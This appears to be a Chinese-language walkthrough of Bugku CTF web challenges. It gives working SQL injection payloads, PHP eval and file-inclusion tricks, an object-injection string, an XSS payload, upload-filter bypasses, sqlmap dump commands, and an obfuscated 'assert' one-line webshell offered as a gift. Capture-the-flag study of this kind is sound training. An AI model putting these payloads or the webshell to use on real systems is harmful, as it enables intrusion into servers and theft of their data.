bugku web writeup

持续更新中……

web2

直接审查元素找到FLAG

文件上传测试

上传一个图片格式的文件,然后burpsuite抓包修改后缀名为PHP得到FLAG

计算器

1

审查元素,发现最长字符为1,改为大于1,输入答案get FLAG

web基础$_GET

1
2
3
4
5
6
7
$what=$_GET['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

以get方式获取what参数,假如what=flag就输出flag

构造: http://120.24.86.145:8002/get/?what=flag

web基础$_POST

1
2
3
4
5
6
7
$what=$_POST['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

以post方式获取what参数,假如what=flag就输出flag

所以POST方式提交what=flag,获得 flag

矛盾

1
2
3
4
5
6
7
8
9
10
11
12
13
$num=$_GET['num'];

if(!is_numeric($num)) // is_numeric检测变量是否为数字或数字字符串

{

echo $num;

if($num==1)

echo 'flag{**********}';

}

即num既不能是数字字符,但是要等于1

我们可以想到用科学计数法表示数字1,既不是纯数字,其值又等于1

因此,构造payload

num=1e0.1

或者用%00截断,表单提交?num=1%00,即得到了flag

web3

查看源码,发现:

1
KEY{J2sa42ahJK-HS11III}

然后进行编码get falg

sql注入

右键查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!doctype html>
<html lang="en">
<head>
<meta charset="gb2312" />
<title>SQL测试</title>
<link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.4/css/bootstrap.css">
</head>
<body>
<div class="container">
<h2>SQL注入测试</h2>
<div class="alert alert-success">
<p>查询key表,id=1的string字段</p>

</div>
<table class="table table-striped">
<tr><td>id</td><td>1</td></tr><tr><td>key</td><td>fdsafdasfdsa</td></tr> </table>
</div>
<!-- jQuery文件。务必在bootstrap.min.js 之前引入-->
<script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
<!-- 最新的 Bootstrap 核心 JavaScript 文件 -->
<script src="http://apps.bdimg.com/libs/bootstrap/3.3.4/js/bootstrap.min.js"></script>
</body>
</html>

看到gb2312想到宽字节注入

访问:http://103.238.227.13:10083/?id=1%df%27

返回:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1運’’ LIMIT 1’ at line 1

查询数据库名 sql5

%df%27 union select 1,database()%23

查询string字段

%df%27%20union%20select%201,string%20from%20sql5.key%20where%20id=1%23

54f3320dc261f313ba712eb3f13a1f6d

域名解析

听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag,于是我修改/windows/system32/drivers/etc目录下修改host

120.24.86.145 flag.bugku.com

然后直接访问flag.bugku.com 得到flag

SQL注入1

提示:过滤了关键字 你能绕过他吗

1
2
3
4
5
6
7
8
9
10
11
12
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}

//xss过滤
$id = strip_tags($id);

$query = “SELECT * FROM temp WHERE id={$id} LIMIT 1”;

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,那么可以利用这点,在union等敏感字中间加上 <a><br>等标签。

或者用%00

查询数据库:sql3

?id=1 uni<a>on sel<a>ect 1,database()%23

查找表为key的数据表,id=1值hash字段值

?id=1 uni<a>on sel<a>ect 1,hash fr<a>om sql3.key%23

c3d3c17b4ca7f791f85e#$1cc72af274af4adef

你必须让他停下

Burpsuite抓包,发送到Repeater多GO几下get flag

10

本地包含

1
2
3
4
5
6
<?php
include "flag.php"; // 包含flag.php这个文件
$a = @$_REQUEST['hello']; // $a这个变量请求变量hello的值
eval( "var_dump($a);");
show_source(__FILE__);
?>

@$_REQUEST 的意思是获得参数,不论是@$_GET还是@$_POST可以得到的参数@$_REQUEST都能得到。

构造一下payload

index.php?hello=);print_r(file("flag.php")

index.php?hello=);var_dump(file("flag.php")

index.php?hello=file("flag.php")

11

变量1

flag In the variable ! //flag在变量中

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

error_reporting(0); // 关闭php错误显示
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){ // 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
die("args error!");
}
eval("var_dump($$args);");
}
?>

首先先了解一下可变变量

而$GLOBALS:一个包含了全部变量的全局组合数组

http://120.24.86.145:8004/index1.php?args=GLOBALS

12

web5

JSFuck是基于JavaScript原子部分的深奥和教育编程风格。它只使用六个不同的字符来编写和执行代码。它不依赖于浏览器,所以你甚至可以在Node.js上运行它。

直接把JSfuck代码扔进F12控制台,get flag.

头等舱

用Burosuite抓包后扔进Repeater然后Go一下,flag就在返回包的头里。

web4

看看源代码,那就看看吧

源码很好理解把俩个变量进行unescape解码,可得到源码,发现password=67d709b2b54aa2aa648cf6e87a7114f1提交就可得到flag

flag在index里

文件包含,php://filter读取index.php

了解一下PHP伪协议

http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

13

输入密码查看flag

第一反应爆破

用burpsuite的Intruder

14

15

点击一百万次

F12修改变量var clicks=999999

再点击一下getflag

备份是个好习惯

猜测index.php存在备份文件index.php.bak,下载后产看源码,上传key1和key2两个md5相等值不相等的数据即可得到flag,因为会消除一次key故构造kkeyey1[]=1&kkeyey2[]=2即可。

1
2
3
4
5
6
7
8
9
10
11
12
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}

提交http://120.24.86.145:8002/web16/index.php?kkeyey1[]=1&kkeyey2[]=2

成绩单

提交一个参数后,看到id,于是想到注入

首先查询数据库skctf_flag

id=-1' union select database(),1,2,3#

查表 fl4g,sc MySql采用GROUP_CONCAT合并多条数据显示的方法

id=-1' union select 1,GROUP_CONCAT(table_name),3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag'#

查字段 skctf_flag

id=-1' union select 1,GROUP_CONCAT(column_name),3,4 from information_schema.columns where TABLE_name='fl4g'#

查flag

id=-1' union select 1,2,3,group_concat(skctf_flag) from fl4g#

秋名山老司机

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding: UTF-8 -*-
import requests
from bs4 import BeautifulSoup

url = "http://120.24.86.145:8002/qiumingshan/"

r = requests.session()
html = r.get(url).text
soup = BeautifulSoup(html, 'html.parser')
res = soup.select("div")[0].text.split('=',1)[0] # 匹配出表达式
c = eval(res) # 计算结果
data = {'value': c}
html= r.post(url,data)
print (html.text)

python 的內建方法 eval() 来计算出结果

速度要快

最开始我直接用hackbar提交,提示速度要更快,用Burpsuite抓包,返回头里面有flag,base64解码后发现不对,于是上脚本

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: UTF-8 -*-
import requests
import base64

url ='http://120.24.86.145:8002/web6/'
r = requests.session()
header = r.get(url).headers
flag = base64.b64decode(header['flag']) # 获取响应头中的flag并Base64解码
c = base64.b64decode(str(flag, encoding='utf-8').split(' ',1)[1]) # 取出flag的值后再次base64解码
data = {'margin': c}
html= r.post(url,data)
print (html.text)

运行脚本直接返回flag

最开始还是得不到flag,后来看别人的wp后才知道还要进行一次base64解码

cookies欺骗

filename参数是个base64编码的参数,解码得到keys.txt,所以猜测文件名是以base64的方式进行传播的所以把index.php以base64编码的格式传入,而line表示读取哪一行的数据,然后写个脚本遍历line参数的值可得出源码

1
2
3
4
5
6
import requests
a = 40 # 实际没有40行
for i in range(a):
url = "http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw" %i
r = requests.get(url)
print (r.text)

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

构造Cookie: margin=margin 读取keys.php获得flag

请求:

1
2
3
4
5
6
7
8
9
10
GET /web11/index.php?line=&filename=a2V5cy5waHA= HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://ctf.bugku.com/challenges
Connection: close
Cookie: margin=margin
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

XSS

首先测试<script>alert(_key_)</script>,发现被直接返回了

查看源码发现

var s="&lt;script&gt;alert(_key_)&lt;/script&gt;"; document.getElementById('s').innerHTML = s;

左右尖括号被转译了,所以只需要将<>进行Unicode编码即可

payload ?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e

源码中找到flag

never give up

最开始傻傻以为注入,后来查看源码发现1p.html文件,直接访问会跳转的首页,直接查看源码,发现一串Base64,所以先Base解码,再Url解码,得到最后的源码,发现f4l2a3g.txt文件,于是直接访问一下得到flag

welcome to bugkuctf

查看源码有提示

1
2
3
4
5
6
7
8
9
10
11
12
<!--  
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

明白了: get方式传递三个参数
存在$user
读取的$user文件内容===welcome to the bugkuctf
$file要求为hint.php

于是想到了PHP://filter与php://input,参考链接

于是构造payload

http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

同时post data填入welcome to the bugkuctf,成功得到源码

hint.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

同样的方法获得index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

其中有一个很重要的函数unserialize()

参考链接:

http://www.runoob.com/php/php-filtered-unserialize.html

https://ciphersaw.me/2018/01/03/%E3%80%90Bugku%20CTF%E3%80%91%20Web%20%E2%80%94%E2%80%94%20welcome%20to%20bugkuctf/

创建一个本地php文件

1
2
3
4
5
6
7
8
9
<?php
class Flag{
public $file;
}
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>

返回结果O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

于是构造http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后别忘了在请求主体中提交字符串 welcome to the bugkuctf

16

字符?正则?

跟着上面的式子一点一点分析,一点一点构造

payload ?id=key4key11111key:/8/akeyz:

过狗一句话

送给大家一个过狗一句话

1
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

直接利用这个马,用assert执行任意代码

http://120.24.86.145:8010/?s=print_r(scandir(%27./%27)); 列目录

scandir() 函数返回指定目录中的文件和目录的数组

17

直接访问flag.txt获得flag

前女友(SKCTF)

进去 题目后发现发现code.txt文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

意思是$v1不等于$v2,但是md5($v1)等于md5($v2)$v3不等于$flag

查看php MD5()漏洞与PHP strcmp漏洞,strcmp不能比较数组,所以返回假

于是构造 /index.php?v1[]=1&v2[]=2&v3[]=1

login1(SKCTF)

做题之前先看看这篇文章->链接

看完值后豁然开朗

这里的username只允许25个字符,超过后就舍去25字符以后的,然后在mysql中,admin跟admin [很多空格]在查询的时候是一样的。因为admin用户已经存在,但我们不知道他的密码,所以我们自己注册一个admin然后替换掉密码。所以我们可以注册一个admin[很多个空格]1的用户名,只要总字符数超过25,然后密码设成你的。注册成功后使用admin加你的密码去登陆即可得到flag。

你从哪里来

首先了解Http协议中的referer表示的就是你从哪个页面来的

用burp suite抓包,手动添加 referer: https://www.google.com,然后重放一下就得到flag

各种绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}

分析一下源码,首先要存在参数id并且等于margin,同时存在参数uname和passwd,passwd参数以POST方式提交,uname和passwd的值不等,但是sha1()后相等,此时利用php sha1()函数漏洞.->参考链接

18

web8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

file_get_contents()函数是把整个文件读入一个字符串中,而$ac的值等于文件$fn中的内容就打印出flag

找了一下,存在一个flag.txt的文件,内容是flags所以构造payload

?ac=flags&fn=flag.txt

细心

刚以进去很懵,什么鬼404,后来看了一下robots.txt

1
2
User-agent: *
Disallow: /resusl.php

访问一下

1
2
3
By bugkuctf.

if ($_GET[x]==$password) 此处省略1w字

还是很懵,看了其他大佬的writeup

构造 http://120.24.86.145:8002/web13/resusl.php?x=admin

get flag 。。。。。。

求getshell

尝试00截断绕过+修改content-type都不行,看了wp才知道。

php别名:php2, php3, php4, php5, phps, pht, phtm, phtml

这题用php5绕过,http头中的Content-type的值大小写可以绕过。

图片的Content-type改成:image/jpeg

这是一个神奇的登陆框

post提交,尝试注入,由于post提交,我Burpsuite+sqlmap结合使用

首先burp抓包,抓到包后选择存到txt文件中

sqlmap -r "F:\Code\py\1.txt" -p admin_name --dbs

解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) –dbs意思是想获取数据库名字

数据库:bugkusql1

继续爆表:sqlmap -r "F:\Code\py\1.txt" -p admin_name -D "bugkusql1" --tables

表:flag1

继续爆列名:sqlmap -r "F:\Code\py\1.txt" -p admin_name -D "bugkusql1" -T "flag1" --columns

最后爆字段: sqlmap -r "F:\Code\py\1.txt" -p admin_name -D "bugkusql1" -T "flag1" -C "flag1" --dump